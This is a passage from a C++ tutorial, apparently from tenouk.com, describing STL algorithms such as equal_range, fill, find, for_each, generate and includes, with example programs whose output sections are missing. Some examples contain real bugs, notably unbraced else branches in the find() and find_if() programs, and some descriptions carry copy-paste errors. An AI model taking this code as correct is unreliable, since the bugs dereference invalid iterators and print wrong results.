equal_range()

- Finds a pair of positions in an ordered range, the first less than or equivalent to the position of a
specified element and the second greater than the element's position, where the sense of equivalence or
ordering used to establish the positions in the sequence may be specified by a binary predicate.

template<class ForwardIterator, class Type>


pair<ForwardIterator, ForwardIterator> equal_range(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _Val
);
template<class ForwardIterator, class Type, class Pr>
pair<ForwardIterator, ForwardIterator> equal_range(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _Val,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
searched.
A forward iterator addressing the position one past the final element in the range
_Last
to be searched.
The value in the ordered range that needs to be equivalent to the value of the
element addressed by the first component of the pair returned and that needs to
_Val
be less than the value of the element addressed by the second component of that
pair returns.
User-defined predicate function object that is true when the left-hand argument
_Comp is less than the right-hand argument. The user-defined predicate function should
return false when its arguments are equivalent.

Table 34.9

- The return value is a pair of forward iterators addressing two positions in an ordered range in which the
first component of the pair refers to the position where an element is or would be if it had a value that is
less than or equivalent to a specified value and the second component of the pair refers to the first
position where an element has a value that is greater than the value specified, where the sense of
equivalence or ordering may be specified by a binary predicate.
- Alternatively, the pair of forward iterators may be described as specify a subrange, contained within the
range searched, in which all of the elements are equivalent to the specified value in the sense defined
by the binary predicate used.
- The first component of the pair of the algorithm returns lower_bound(), and the second component
returns upper_bound().
- The subrange defined by the pair of iterators returned by the equal_range() algorithm contains the
equivalence class, in the standard set-theoretic sense, of the element whose value is specified as a
parameter.
- The sorted source range referenced must be valid; all pointers must be de-referenceable and within the
sequence the last position must be reachable from the first by incrementation.
- The sorted range must each be arranged as a precondition to the application of the equal_range()
algorithm in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The range is not modified by the algorithm merge().

www.tenouk.com Page 16 of 35
- The value types of the forward iterators need be less-than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent (in the sense that neither is less than the
other) or that one is less than the other. This results in an ordering between the nonequivalent elements
- The complexity of the algorithm is logarithmic for random-access iterators and linear otherwise, with
the number of steps proportional to (_Last1 – _First1).

//algorithm, equal_range()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1;
vector <int>::iterator Iter1;
pair < vector <int>::iterator, vector <int>::iterator > Result1, Result2, Result3;

//Constructing vectors vec1 with default less than ordering


int i;
for(i = -2; i <= 4; i++)
vec1.push_back(i);

int j;
for(j =1; j <= 5; j++)
vec1.push_back(j);

sort(vec1.begin(), vec1.end());
cout<<"vec1 data with range sorted by the binary predicate less than is:\n";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Constructing vectors vec2 with range sorted by greater


vector <int> vec2(vec1);
vector <int>::iterator Iter2;
sort(vec2.begin(), vec2.end(), greater<int>());

cout<<"\nvec2 data with range sorted by the binary predicate greater than is:\n";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Constructing vectors vec3 with range sorted by mod_lesser


vector <int> vec3(vec1);
vector <int>::iterator Iter3;
sort(vec3.begin(), vec3.end(), mod_lesser);

cout<<"\nvec3 data with range sorted by the binary predicate mod_lesser is:\n";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<"\n\n";

//equal_range of 4 in vec1 with default binary predicate less <int>()


Result1 = equal_range(vec1.begin(), vec1.end(), 4);
cout<<"lower_bound in vec1 for the element with a value of 4 is:
"<<*Result1.first<<endl;
cout<<"upper_bound in vec1 for the element with a value of 4 is:
"<<*Result1.second<<endl;
cout<<"The equivalence class for the element with a value of 4 in \nvec1 includes
the elements: ";
for(Iter1 = Result1.first; Iter1 != Result1.second; Iter1++)
cout<<*Iter1<<" ";
cout<<endl<<endl;

//equal_range of 4 in vec2 with the binary predicate greater <int>()

www.tenouk.com Page 17 of 35
Result2 = equal_range(vec2.begin(), vec2.end(), 4, greater <int>());
cout<<"lower_bound in vec2 for the element with a value of 4 is:
"<<*Result2.first<<endl;
cout<<"upper_bound in vec2 for the element with a value of 4 is:
"<<*Result2.second<<endl;
cout<<"The equivalence class for the element with a value of 4 in"
<<"\n vec2 includes the elements: ";
for(Iter2 = Result2.first; Iter2 != Result2.second; Iter2++)
cout<<*Iter2<<" ";
cout<<endl<<endl;

//equal_range of 4 in vec3 with the binary predicate mod_lesser


Result3 = equal_range(vec3.begin(), vec3.end(), 4, mod_lesser);
cout<<"lower_bound in vec3 for the element with a value of 4 is:
"<<*Result3.first<<endl;
cout<<"upper_bound in vec3 for the element with a value of 4 is:
"<<*Result3.second<<endl;
cout<<"equivalence class for the element with a value of 4 in \nvec3 includes the
elements: ";
for(Iter3 = Result3.first; Iter3 != Result3.second; Iter3++)
cout<<*Iter3<<" ";
cout<<endl<<endl;
return 0;
}

Output:

fill()

- Assigns the same new value to every element in a specified range.

template<class ForwardIterator, class Type>


void fill(
ForwardIterator _First,
ForwardIterator _Last,
const Type& _Val
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First
traversed.
A forward iterator addressing the position one past the final element in the range to be
_Last
traversed.

www.tenouk.com Page 18 of 35
_Val The value to be assigned to elements in the range [_First, _Last).

Table 34.10

- The destination range must be valid; all pointers must be de-referenceable, and the last position is
reachable from the first by incrementation. The complexity is linear with the size of the range.

//algorithm, fill()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec;
vector <int>::iterator Iter1;

int i;
for(i = 10; i <= 20; i++)
vec.push_back(i);

cout<<"Vector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Fill the last 4 positions with a value of 9


cout<<"\nOperation: fill(vec.begin() + 4, vec.end(), 9)\n";
fill(vec.begin() + 4, vec.end(), 9);
cout<<"Modified vec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

Output:

fill_n()

- Assigns a new value to a specified number of elements in a range beginning with a particular element.

template<class OutputIterator, class Size, class Type>


void fill_n(
OutputIterator _First,
Size _Count,
const Type& _Val
);

Parameters

Parameter Description
An output iterator addressing the position of the first element in the range to be
_First
assigned the value _Val.
A signed or unsigned integer type specifying the number of elements to be assigned the
_Count
value.
_Val The value to be assigned to elements in the range [_First, _First + _Count).

Table 34.11

www.tenouk.com Page 19 of 35
- The destination range must be valid; all pointers must be de-referenceable, and the last position is
reachable from the first by incrementation. The complexity is linear with the size of the range.

//algorithm, fill_n()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec;
vector <int>::iterator Iter1;

int i;
for(i = 10; i <= 20; i++)
vec.push_back(i);

cout<<"Vector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Fill the last 3 positions for 6 position with a value of 9


cout<<"\nOperation: fill_n(vec.begin() + 3, 6, 9)\n";
fill_n(vec.begin() + 3, 6, 9);
cout<<"Modified vec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;
return 0;
}

Output:

find()

- Locates the position of the first occurrence of an element in a range that has a specified value.

template<class InputIterator, class Type>


InputIterator find(
InputIterator _First,
InputIterator _Last,
const Type& _Val
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the range to be
_First
searched for the specified value.
An input iterator addressing the position one past the final element in the range to be
_Last
searched for the specified value.
_Val The value to be searched for.

Table 34.12

- The return value is an input iterator addressing the first occurrence of the specified value in the range
being searched. If no such value exists in the range, the iterator returned addresses the last position of
the range, one past the final element.
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.

www.tenouk.com Page 20 of 35
//algorithm, find()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
list <int> lst;
list <int>::iterator Iter;
list <int>::iterator result;
lst.push_back(9);
lst.push_back(21);
lst.push_back(14);
lst.push_back(10);
lst.push_back(16);
lst.push_back(31);

cout<<"List lst data: ";


for(Iter = lst.begin(); Iter != lst.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

cout<<"\nOperation: find(lst.begin(), lst.end(), 14)\n";


result = find(lst.begin(), lst.end(), 14);
if(result == lst.end())
cout<<"There is no 14 in list lst."<<endl;
else
result++;
cout<<"There is a 14 in list lst and it is"<<" followed by a "<<*(result)<<endl;
return 0;
}

Output:

find_end()

- Looks in a range for the last subsequence that is identical to a specified sequence or that is equivalent in
a sense specified by a binary predicate.

template<class ForwardIterator1, class ForwardIterator2>


ForwardIterator1 find_end(
ForwardIterator1 _First1,
ForwardIterator1 _Last1,
ForwardIterator2 _First2,
ForwardIterator2 _Last2
);
template<class ForwardIterator1, class ForwardIterator2, class Pr>
ForwardIterator1 find_end(
ForwardIterator1 _First1,
ForwardIterator1 _Last1,
ForwardIterator2 _First2,
ForwardIterator2 _Last2,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First1
searched.
A forward iterator addressing the position one past the final element in the range to be
_Last1
searched.
_First2 A forward iterator addressing the position of the first element in the range to be

www.tenouk.com Page 21 of 35
searched.
A forward iterator addressing the position one past the final element in the range to be
_Last2
searched.
User-defined predicate function object that defines the condition to be satisfied if two
_Comp elements are to be taken as equivalent. A binary predicate takes two arguments and
returns true when satisfied and false when not satisfied.

Table 34.13

- The return value is a forward iterator addressing the position of the first element of the last subsequence
that matches the specified sequence or that is equivalent in a sense specified by a binary predicate.
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
- The ranges referenced must be valid; all pointers must be de-referenceable and, within each sequence,
the last position is reachable from the first by incrementation.

//algorithm, find_end()
//some type conversion warning
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{ return 2 * elem1 == elem2;}

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 10; i <= 15; i++)
vec1.push_back(i);

int j;
for(j = 11; j <= 14; j++)
lst.push_back(j);

int k;
for(k = 12; k <= 14; k++)
vec2.push_back(2*k);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst data: ";


for(lst_Iter = lst.begin(); lst_Iter != lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl<<endl;

//Searching vec1 for a match to lst under identity


vector <int>::iterator result1;
result1 = find_end(vec1.begin(), vec1.end(), lst.begin(), lst.end());

if(result1 == vec1.end())
cout<<"There is no match of lst in vec1."<<endl;
else
cout<<"There is a match of lst in vec1 that begins at "
<<"position "<<result1 - vec1.begin()<<endl;

//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_end(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);

www.tenouk.com Page 22 of 35
if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary "
<<"predicate\ntwice and that begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
}

Output:

find_first_of()

- Searches for the first occurrence of any of several values within a target range or for the first
occurrence of any of several elements that are equivalent in a sense specified by a binary predicate to a
specified set of the elements.

template<class ForwardIterator1, class ForwardIterator2>


ForwardIterator1 find_first_of(
ForwardIterator1 _First1,
ForwardIterator1 _Last1,
ForwardIterator2 _First2,
ForwardIterator2 _Last2
);
template<class ForwardIterator1, class ForwardIterator2, class BinaryPredicate>
ForwardIterator1 find_first_of(
ForwardIterator1 _First1,
ForwardIterator1 _Last1,
ForwardIterator2 _First2,
ForwardIterator2 _Last2,
BinaryPredicate _Comp
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to be
_First1
searched.
A forward iterator addressing the position one past the final element in the range to
_Last1
be searched.
A forward iterator addressing the position of the first element in the range to be
_First2
matched.
A forward iterator addressing the position one past the final element in the range to
_Last2
be matched.
User-defined predicate function object that defines the condition to be satisfied if
_Comp two elements are to be taken as equivalent. A binary predicate takes two arguments
and returns true when satisfied and false when not satisfied.

Table 34.14

- The return value is a forward iterator addressing the position of the first element of the first
subsequence that matches the specified sequence or that is equivalent in a sense specified by a binary
predicate.

www.tenouk.com Page 23 of 35
- The operator== used to determine the match between an element and the specified value must
impose an equivalence relation between its operands.
- The ranges referenced must be valid; all pointers must be de-referenceable and, within each sequence,
the last position is reachable from the first by incrementation.

//algorithm, find_first_of()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return (2 * elem1 == elem2);}

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

int j;
for(j = 3; j <= 4; j++)
lst.push_back(5*j);

int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);

cout<<"Vector vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"List lst data: ";


for(lst_Iter = lst.begin(); lst_Iter!= lst.end(); lst_Iter++)
cout<<*lst_Iter<<" ";
cout<<endl;

cout<<"Vector vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Searching vec1 for first match to lst under identity


vector <int>::iterator result1;
result1 = find_first_of(vec1.begin(), vec1.end(), lst.begin(), lst.end());

if(result1 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is at least one match of lst in vec1"
<<"\nand the first one begins at "
<<"position "<<result1 - vec1.begin()<<endl;

//Searching vec1 for a match to lst under the binary predicate twice
vector <int>::iterator result2;
result2 = find_first_of(vec1.begin(), vec1.end(), vec2.begin(), vec2.end(), twice);

if(result2 == vec1.end())
cout<<"\nThere is no match of lst in vec1."<<endl;
else
cout<<"\nThere is a sequence of elements in vec1 that "
<<"are\nequivalent to those in vec2 under the binary\n"
<<"predicate twice and the first one begins at position "
<<result2 - vec1.begin()<<endl;
return 0;
}

Output:

www.tenouk.com Page 24 of 35
find_if()

- Locates the position of the first occurrence of an element in a range that satisfies a specified condition.

template<class InputIterator, class Predicate>


InputIterator find_if(
InputIterator _First,
InputIterator _Last,
Predicate _Pred
);

Parameters

Parameter Description
_First An input iterator addressing the position of the first element in the range to be searched.
An input iterator addressing the position one past the final element in the range to be
_Last
searched.
User-defined predicate function object that defines the condition to be satisfied by the
_Pred
element being searched for. A predicate takes single argument and returns true or false.

Table 34.15

- The return value is an input iterator that addresses the first element in the range that satisfies the
condition specified by the predicate.
- This template function is a generalization of the algorithm find(), replacing the predicate "equals a
specific value" with any predicate.

//algorithm, find_if()
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

bool great(int value)


{return value>13;}

int main()
{
list <int> lst;
list <int>::iterator Iter;
list <int>::iterator result;

lst.push_back(13);
lst.push_back(9);
lst.push_back(10);
lst.push_back(22);
lst.push_back(31);
lst.push_back(17);

cout<<"List lst data: ";


for(Iter = lst.begin(); Iter != lst.end(); Iter++)
cout<<*Iter<<" ";
cout<<endl;

cout<<"\nOperation: find_if(lst.begin(), lst.end(), great)\n";


result = find_if(lst.begin(), lst.end(), great);
if(result == lst.end())
cout<<"There is no element greater than 13 in list lst."<<endl;

www.tenouk.com Page 25 of 35
else
result++;
cout<<"There is an element greater than 13\nin list lst,"
<<" and it is followed by a "
<<*(result)<<endl;
return 0;
}

Output:

for_each()

- Applies a specified function object to each element in a forward order within a range and returns the
function object.

template<class InputIterator, class Function>


Function for_each(
InputIterator _First,
InputIterator _Last,
Function _Func
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the range to be
_First
operated on.
An input iterator addressing the position one past the final element in the range
_Last
operated on.
_Func User-defined function object that is applied to each element in the range.

Table 34.16

- The return value is a copy of the function object after it has been applied to all of the elements in the
range.
- The algorithm for_each() is very flexible, allowing the modification of each element within a range
in different, user-specified ways.
- Templatized functions may be reused in a modified form by passing different parameters. User-defined
functions may accumulate information within an internal state that the algorithm may return after
processing all of the elements in the range.
- The range referenced must be valid; all pointers must be de-referenceable and, within the sequence, the
last position must be reachable from the first by incrementation.
- The complexity is linear with at most (_Last – _First) comparisons.

//algorithm, for_each()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

//The function object multiplies an element by a Factor


template <class Type>
class MultValue
{
private:
//The value to multiply by
Type Factor;
public:
//Constructor initializes the value to multiply by
MultValue(const Type& _Val) : Factor(_Val) {}

www.tenouk.com Page 26 of 35
//The function call for the element to be multiplied
void operator()(Type& elem) const
{elem *= Factor;}
};

//The function object to determine the average


class Average
{
private:
//The number of elements
long num;
//The sum of the elements
long sum;
public:
//Constructor initializes the value to multiply by
Average() : num(0), sum(0){}

//The function call to process the next element


void operator()( int elem ) \
{
//Increment the element count
num++;
//Add the value to the partial sum
sum += elem;
}
//return Average
operator double()
{
return (static_cast <double> (sum))/(static_cast <double> (num));
}
};

int main()
{
vector <int> vec;
vector <int>::iterator Iter1;

//Constructing vector vec


int i;
for(i = -3; i <= 4; i++)
vec.push_back(i);

cout<<"vector vec data: ";


for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Using for_each to multiply each element by a Factor


for_each(vec.begin(), vec.end(), MultValue<int>(-2));

cout<<"\nMultiplying the elements of the vector vec\n"


<<"by the factor -2 gives:\nvecmult1 data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//The function object is templatized and so can be


//used again on the elements with a different Factor
for_each(vec.begin(), vec.end(), MultValue<int>(5));

cout<<"\nMultiplying the elements of the vector vecmult1\n"


<<"by the factor 5 gives:\nvecmult2 data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//The local state of a function object can accumulate


//information about a sequence of actions that the
//return value can make available, here the Average
double avemod2 = for_each(vec.begin(), vec.end(), Average());
cout<<"\nThe average of the elements of vec is:\nAverage(vecmult2) = "<<avemod2<<endl;
return 0;
}

Output:

www.tenouk.com Page 27 of 35
generate()

- Assigns the values generated by a function object to each element in a range.

template<class ForwardIterator, class Generator>


void generate(
ForwardIterator _First,
ForwardIterator _Last,
Generator _Gen
);

Parameters

Parameter Description
A forward iterator addressing the position of the first element in the range to which
_First
values are to be assigned.
A forward iterator addressing the position one past the final element in the range to
_Last
which values are to be assigned.
A function object that is called with no arguments that is used to generate the values to
_Gen
be assigned to each of the elements in the range.

Table 34.17

- The function object is invoked for each element in the range and does not need to return the same value
each time it is called. It may, for example, read from a file or refer to and modify a local state.
- The generator's result type must be convertible to the value type of the forward iterators for the range.
- The range referenced must be valid; all pointers must be de-referenceable and, within the sequence, the
last position must be reachable from the first by incrementation.
- The complexity is linear, with exactly (_Last – _First) calls to the generator being required.

//algorithm, generate()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
//Assigning random values to vector integer elements
vector <int> vec(5);
vector <int>::iterator Iter1;
deque <int> deq(5);
deque <int>::iterator deqIter;

cout<<"\nOperation: generate(vec.begin(), vec.end(), rand)\n";


generate(vec.begin(), vec.end(), rand);
cout<<"Vector vec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

//Assigning random values to deque integer elements


cout<<"\nOperation: generate(deq.begin(), deq.end(), rand)\n";
generate(deq.begin(), deq.end(), rand);

www.tenouk.com Page 28 of 35
cout<<"Deque deq data: ";
for(deqIter = deq.begin(); deqIter != deq.end(); deqIter++)
cout<<*deqIter<<" ";
cout<<endl;
return 0;
}

Output:

generate_n()

- Assigns the values generated by a function object to a specified number of element in a range and
returns to the position one past the last assigned value.

template<class OutputIterator, class Size, class Generator>


void generate_n(
OutputIterator _First,
Size _Count,
Generator _Gen
);

Parameters

Parameter Description
An output iterator addressing the position of first element in the range to which
_First
values are to be assigned.
A signed or unsigned integer type specifying the number of elements to be
_Count
assigned a value by the generator function.
A function object that is called with no arguments that is used to generate the
_Gen
values to be assigned to each of the elements in the range.

Table 34.18

- The function object is invoked for each element in the range and does not need to return the same value
each time it is called. It may, for example, read from a file or refer to and modify a local state.
- The generator's result type must be convertible to the value type of the forward iterators for the range.
- The range referenced must be valid; all pointers must be dereferenceable and, within the sequence, the
last position must be reachable from the first by incrementation.
- The complexity is linear, with exactly _Count calls to the generator being required.

//algorithm, generate_n()
#include <vector>
#include <deque>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
//Assigning random values to vector integer elements
vector <int> vec(7);
vector <int>::iterator Iter1;
deque <int> deq(7);
deque <int>::iterator deqIter;

cout<<"\nOperation: generate_n(vec.begin(), 7, rand)\n";


generate_n(vec.begin(), 7, rand);
cout<<"Vector vec data: ";
for(Iter1 = vec.begin(); Iter1 != vec.end(); Iter1++)
cout<<*Iter1<<" ";

www.tenouk.com Page 29 of 35
cout<<endl;

//Assigning random values to deque integer elements


cout<<"\nOperation: generate_n(deq.begin(), 4, rand)\n";
generate_n(deq.begin(), 4, rand);
cout<<"Deque deq data: ";
for(deqIter = deq.begin(); deqIter != deq.end(); deqIter++)
cout<<*deqIter<<" ";
cout<<endl;
return 0;
}

Output:

includes()

- Tests whether one sorted range contains all the elements contained in a second sorted range, where the
ordering or equivalence criterion between elements may be specified by a binary predicate.

template<class InputIterator1, class InputIterator2>


bool includes(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last1
);
template<class InputIterator1, class InputIterator2, class BinaryPredicate>
bool includes(
InputIterator1 _First1,
InputIterator1 _Last1,
InputIterator2 _First2,
InputIterator2 _Last1,
BinaryPredicate _Comp
);

Parameters

Parameter Description
An input iterator addressing the position of the first element in the first of two sorted
_First1 source ranges to be tested for whether all the elements of the second are contained in the
first.
An input iterator addressing the position one past the last element in the first of two
_Last1 sorted source ranges to be tested for whether all the elements of the second are contained
in the first.
An input iterator addressing the position of the first element in second of two
_First2 consecutive sorted source ranges to be tested for whether all the elements of the second
are contained in the first.
An input iterator addressing the position one past the last element in second of two
_Last2 consecutive sorted source ranges to be tested for whether all the elements of the second
are contained in the first.
User-defined predicate function object that defines sense in which one element is less
_Comp than another. A binary predicate takes two arguments and returns true when satisfied
and false when not satisfied.

Table 34.19

- The return value is a true if the first sorted range contains all the elements in the second sorted range;
otherwise, false.

www.tenouk.com Page 30 of 35
- Another way to think of this test is that it determined whether the second source range is a subset of the
first source range.
- The sorted source ranges referenced must be valid; all pointers must be de-referenceable and, within
each sequence, the last position must be reachable from the first by incrementation.
- The sorted source ranges must each be arranged as a precondition to the application of the algorithm
includes in accordance with the same ordering as is to be used by the algorithm to sort the combined
ranges.
- The source ranges are not modified by the algorithm merge().
- The value types of the input iterators need be less than comparable to be ordered, so that, given two
elements, it may be determined either that they are equivalent, in the sense that neither is less than the
other or that one is less than the other. This results in an ordering between the non equivalent elements.
- More precisely, the algorithm tests whether all the elements in the first sorted range under a specified
binary predicate have equivalent ordering to those in the second sorted range.
- The complexity of the algorithm is linear with at most 2*((_Last1 – _First1)–(_Last2 –
_First2))–1 comparisons for nonempty source ranges.

//algorithm, includes()
#include <vector>
#include <algorithm>
//For greater<int>()
#include <functional>
#include <iostream>
using namespace std;

//Return whether modulus of elem1 is less than modulus of elem2


bool mod_lesser(int elem1, int elem2)
{
if(elem1 < 0)
elem1 = - elem1;
if(elem2 < 0)
elem2 = - elem2;
return (elem1 < elem2);
}

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

//Constructing vectors vec1 & vec2 with default less-than ordering


int i;
for(i = -2; i <= 4; i++)
vec1.push_back(i);

int j;
for(j =-2; j <= 3; j++)
vec2.push_back(j);

cout<<"vector vec1 data with range sorted by the "


<<"binary predicate\nless than is: ";
for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"\nvector vec2 data with range sorted by the "


<<"binary predicate\nless than is: ";
for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//Constructing vectors vec3 & vec4 with ranges sorted by greater


vector <int> vec3(vec1), vec4(vec2);
vector <int>::iterator Iter3, Iter4;
sort(vec3.begin(), vec3.end(), greater<int>());
sort(vec4.begin(), vec4.end(), greater<int>());
vec3.pop_back();

cout<<"\nvector vec3 data with range sorted by the "


<<"binary predicate\ngreater is: ";
for(Iter3 = vec3.begin(); Iter3 != vec3.end(); Iter3++)
cout<<*Iter3<<" ";
cout<<endl;

cout<<"\nvector vec4 data with range sorted by the "


<<"binary predicate\ngreater is: ";

www.tenouk.com Page 31 of 35
for(Iter4 = vec4.begin(); Iter4 != vec4.end(); Iter4++)
cout<<*Iter4<<" ";
cout<<endl;

//Constructing vectors vec5 & vec6 with ranges sorted by mod_lesser


vector <int> vec5(vec1), vec6(vec2);
vector <int>::iterator Iter5, Iter6;
reverse(vec5.begin(), vec5.end());
vec5.pop_back();
vec5.pop_back();
sort(vec5.begin(), vec5.end(), mod_lesser);
sort(vec6.begin(), vec6.end(), mod_lesser);

cout<<"\nvector vec5 data with range sorted by the "


<<"binary predicate\nmod_lesser is: ";
for(Iter5 = vec5.begin(); Iter5 != vec5.end(); Iter5++)
cout<<*Iter5<<" ";
cout<<endl;

cout<<"\nvector vec6 data with range sorted by the "


<<"binary predicate\nmod_lesser is: ";
for(Iter6 = vec6.begin(); Iter6 != vec6.end(); Iter6++)
cout<<*Iter6<<" ";
cout<<endl;

//To test for inclusion under an asscending order


//with the default binary predicate less <int>()
bool Result1;
Result1 = includes(vec1.begin(), vec1.end(), vec2.begin(), vec2.end());
if(Result1)
cout<<"\nAll the elements in vector vec2 are contained in vector vec1."<<endl;
else
cout<<"\nAt least one of the elements in vector vec2 is not contained in vector
vec1."<<endl;

//To test for inclusion under descending


//order specifies binary predicate greater<int>()
bool Result2;
Result2 = includes(vec3.begin(), vec3.end(), vec4.begin(), vec4.end(),
greater<int>());
if(Result2)
cout<<"\nAll the elements in vector vec4 are contained\nin vector vec3."<<endl;
else
cout<<"\nAt least one of the elements in vector vec4\nis not contained in vector
vec3."<<endl;

//To test for inclusion under a user


//defined binary predicate mod_lesser
bool Result3;
Result3 = includes(vec5.begin(), vec5.end(), vec6.begin(), vec6.end(),
mod_lesser);
if(Result3)
cout<<"\nAll the elements in vector vec6 are contained under\nmod_lesser in vector
vec5."<<endl;
else
cout<<"\nAt least one of the elements in vector vec6 is not\ncontained under
mod_lesser in vector vec5."<<endl;
return 0;
}

Output:

www.tenouk.com Page 32 of 35
- Program example compiled using g++.

//******algocopy.cpp********
//algorithm, copy()
#include <vector>
#include <algorithm>
#include <iostream>
using namespace std;

int main()
{
vector <int> vec1, vec2;
vector <int>::iterator Iter1, Iter2;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(i);

int j;
for(j = 10; j <= 20; j++)
vec2.push_back(j);

cout<<"vec1 data: ";


for(Iter1 = vec1.begin(); Iter1 != vec1.end(); Iter1++)
cout<<*Iter1<<" ";
cout<<endl;

cout<<"vec2 data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To copy the first 4 elements of vec1 into the middle of vec2
copy(vec1.begin(), vec1.begin() + 4, vec2.begin() + 5);

cout<<"vec2 with vec1 insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;

//To shift the elements inserted into vec2 two positions


//to the left
copy(vec2.begin()+4, vec2.begin() + 7, vec2.begin() + 2);

cout<<"vec2 with shifted insert data: ";


for(Iter2 = vec2.begin(); Iter2 != vec2.end(); Iter2++)
cout<<*Iter2<<" ";
cout<<endl;
return 0;

www.tenouk.com Page 33 of 35
}

[bodo@bakawali ~]$ g++ algocopy.cpp -o algocopy


[bodo@bakawali ~]$ ./algocopy

vec1 data: 0 1 2 3 4 5
vec2 data: 10 11 12 13 14 15 16 17 18 19 20
vec2 with vec1 insert data: 10 11 12 13 14 0 1 2 3 19 20
vec2 with shifted insert data: 10 11 14 0 1 0 1 2 3 19 20

//******algofindfirstof.cpp********
//algorithm, find_first_of()
#include <vector>
#include <list>
#include <algorithm>
#include <iostream>
using namespace std;

//Return whether second element is twice the first


bool twice(int elem1, int elem2)
{return (2 * elem1 == elem2);}

int main()
{
vector <int> vec1, vec2;
list <int> lst;
vector <int>::iterator Iter1, Iter2;
list <int>::iterator lst_Iter, lst_inIter;

int i;
for(i = 0; i <= 5; i++)
vec1.push_back(5*i);

int j;
for(j = 3; j <= 4; j++)
lst.push_back(5*j);

int k;
for(k = 2; k <= 4; k++)
vec2.push_back(10*k);

cout<<"Vector vec1 data: ";


